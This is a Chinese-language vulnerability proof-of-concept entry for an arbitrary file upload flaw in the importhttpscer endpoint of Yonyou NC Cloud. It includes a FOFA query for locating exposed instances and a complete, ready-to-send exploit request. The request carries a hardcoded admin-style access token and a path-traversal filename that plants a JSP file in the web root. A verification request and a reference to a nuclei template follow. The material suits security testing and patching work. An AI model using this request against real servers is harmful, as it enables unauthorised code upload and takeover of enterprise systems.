用友NC cloud importhttpscer 存在任意文件上传
一、漏洞简介
NC Cloud是用友推出的大型企业数字化平台。 用友NC cloud importhttpscer 存在任意文件上传，攻击者可利用此漏洞获取服务器权限。
二、影响版本
- 用友NC Cloud
三、资产测绘
- fofa
app="用友-NC-Cloud" - 登录页面
四、漏洞复现
POST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
Host: {hostname}
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Content-Length: 245
Connection: close
Content-Type: multipart/form-data; boundary=uof6bcdvrhdkozsvbs3p
accessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
Accept-Encoding: gzip, deflate
--uof6bcdvrhdkozsvbs3p
Content-Disposition: form-data; name="file"; filename="./webapps/nc_web/xsxo0es0ip.jsp"
<%out.println(111*111);new java.io.File(application.getRealPath(request.getServletPath())).delete();%>
--uof6bcdvrhdkozsvbs3p--
上传文件位置
GET /xsxo0es0ip.jsp HTTP/1.1
Host: {hostname}
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Connection: close
Accept-Encoding: gzip, deflate
nuclei脚本
用友-nc-cloud-importhttpscer-任意文件上传.yaml